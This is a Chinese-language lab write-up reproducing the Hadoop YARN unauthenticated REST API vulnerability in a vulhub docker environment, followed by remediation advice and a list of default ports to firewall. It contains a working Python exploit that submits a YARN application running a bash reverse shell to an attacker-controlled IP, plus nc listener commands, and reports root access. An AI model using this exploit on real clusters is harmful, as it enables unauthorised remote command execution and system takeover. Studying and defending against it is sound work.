0.漏洞描述
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器直接在开放了 Hadoop 机器 HDFS 的 50070 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
1.受影响版本
3.3.0 以下
2.靶机设置
1、环境搭建
service docker start#启动docker
2、启动镜像
cd vulhub/hadoop/unauthorized-yarn/ #进入漏洞目录
sudo docker-compose up -d #启动漏洞镜像
3、打开ip:8088,hadoop成功开启。
3.漏洞复现
1、编写EXP:
##!/usr/bin/env python
import requests
import sys
target = 'http://192.168.49.134:8088'##目标机ip
lhost = '192.168.49.132' ##将你的本地ip填在这里,使用nc监听2334端口
target = sys.argv[1]
#lhost = sys.argv[2]
url = target + '/ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + '/ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/2334 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)r
2、监听端口
sudo nc -lvvp 2334
3、执行EXP
sudo python3 unauthorized-yarn-hadoop.py http://192.168.49.134:8088
4、成功反弹Shell,我们使用whoami测试显示我们的权限为root。
4、漏洞修复
1、如无必要,关闭 Hadoop Web 管理页面。
2、开启身份验证,防止未经授权用户访问。
3、设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口,详细端口列表如下:
- HDFS
NameNode 默认端口 50070
DataNode 默认端口 50075
httpfs 默认端口14000
journalnode 默认端口 8480
- YARN(JobTracker)
ResourceManager 默认端口8088
JobTracker 默认端口 50030
TaskTracker 默认端口 50060
- Hue 默认端口 8080
- YARN(JobTracker)
master 默认端口 60010
regionserver 默认端口60030
- hive-server2 默认端口 10000
- spark-jdbcserver 默认端口 10003
版权归原作者 張童學 所有, 如有侵权,请联系我们删除。